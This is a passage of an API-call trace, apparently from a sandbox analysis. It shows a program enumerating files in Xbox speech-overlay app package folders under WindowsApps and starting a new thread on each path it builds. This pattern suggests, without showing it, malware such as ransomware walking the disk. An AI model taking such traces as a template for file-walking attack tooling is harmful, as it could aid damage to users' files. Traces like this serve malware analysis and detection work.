	[0089.931] wcscpy (in: _Dest=0x2d89948, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.931] wcscat (in: _Dest=0x2d89948, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.931] wcscat (in: _Dest=0x2d89948, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0089.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d89948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2044
	[0089.932] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74a814e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.932] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.932] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2db1588
	[0089.932] wcscpy (in: _Dest=0x2db1588, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.932] wcscat (in: _Dest=0x2db1588, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.932] wcscat (in: _Dest=0x2db1588, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2db1588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2048
	[0089.933] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ddbcfa2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6ddbcfa2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6ddbcfa2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.933] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.933] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x47cc248
	[0089.933] wcscpy (in: _Dest=0x47cc248, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0089.933] wcscat (in: _Dest=0x47cc248, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0089.933] wcscat (in: _Dest=0x47cc248, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0089.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cc248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204c
	[0089.934] FindNextFileW (in: hFindFile=0x46a7d18, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ddbcfa2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6ddbcfa2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6ddbcfa2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.934] FindClose (in: hFindFile=0x46a7d18 | out: hFindFile=0x46a7d18) returned 1
	[0089.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f230) returned 1
	[0089.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebbb8) returned 1
	[0089.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb438) returned 1

Thread:
	id = 1057
	os_tid = 0x1cf4

	[0082.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x46a6538
	[0082.727] wcscpy (in: _Dest=0x46a6538, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0082.727] wcscat (in: _Dest=0x46a6538, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.727] wcscat (in: _Dest=0x46a6538, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0082.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d9f57ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7482029, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7482029, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7d58
	[0082.728] wcscmp (_String1=".", _String2=".") returned 0
	[0082.728] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d9f57ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7482029, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7482029, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.728] wcscmp (_String1="..", _String2=".") returned 1
	[0082.728] wcscmp (_String1="..", _String2="..") returned 0
	[0082.729] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db26a9d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6db4ccfb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6db4ccfb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.729] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.729] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eabc8
	[0082.729] wcscpy (in: _Dest=0x47eabc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0082.729] wcscat (in: _Dest=0x47eabc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.729] wcscat (in: _Dest=0x47eabc8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eabc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1680
	[0089.924] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d9f57ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb48f2fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6d9f57ca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.924] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.925] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32b68
	[0089.925] wcscpy (in: _Dest=0x4e32b68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0089.925] wcscat (in: _Dest=0x4e32b68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.925] wcscat (in: _Dest=0x4e32b68, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e32b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2030
	[0089.925] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db4ccfb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6db4ccfb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6db4ccfb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.925] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.925] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89850
	[0089.925] wcscpy (in: _Dest=0x2d89850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0089.925] wcscat (in: _Dest=0x2d89850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.925] wcscat (in: _Dest=0x2d89850, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2034
	[0089.926] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7482029, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7482029, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7482029, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.926] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.926] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2db1470
	[0089.926] wcscpy (in: _Dest=0x2db1470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0089.926] wcscat (in: _Dest=0x2db1470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.926] wcscat (in: _Dest=0x2db1470, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2db1470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2038
	[0089.927] FindNextFileW (in: hFindFile=0x46a7d58, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7482029, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7482029, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7482029, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.927] FindClose (in: hFindFile=0x46a7d58 | out: hFindFile=0x46a7d58) returned 1
	[0089.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0089.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a6538) returned 1
	[0089.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea540) returned 1

Thread:
	id = 1058
	os_tid = 0x1cf8

	[0082.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4924e10
	[0082.729] wcscpy (in: _Dest=0x4924e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0082.729] wcscat (in: _Dest=0x4924e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0082.729] wcscat (in: _Dest=0x4924e10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\*"
	[0082.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0082.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7d98
	[0082.731] wcscmp (_String1=".", _String2=".") returned 0
	[0082.731] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.731] wcscmp (_String1="..", _String2=".") returned 1
	[0082.731] wcscmp (_String1="..", _String2="..") returned 0
	[0082.731] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dbbf423, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dbbf423, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa51, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.731] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.731] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.731] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4722d18
	[0082.731] wcscpy (in: _Dest=0x4722d18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0082.731] wcscat (in: _Dest=0x4722d18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0082.731] wcscat (in: _Dest=0x4722d18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1684
	[0089.915] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6dbbf423, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6dbbf423, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.915] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.915] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767408
	[0089.915] wcscpy (in: _Dest=0x4767408, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0089.915] wcscat (in: _Dest=0x4767408, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\"
	[0089.915] wcscat (in: _Dest=0x4767408, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2010
	[0089.916] FindNextFileW (in: hFindFile=0x46a7d98, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb497d3de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6dbbf423, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.916] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.916] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e43fe0
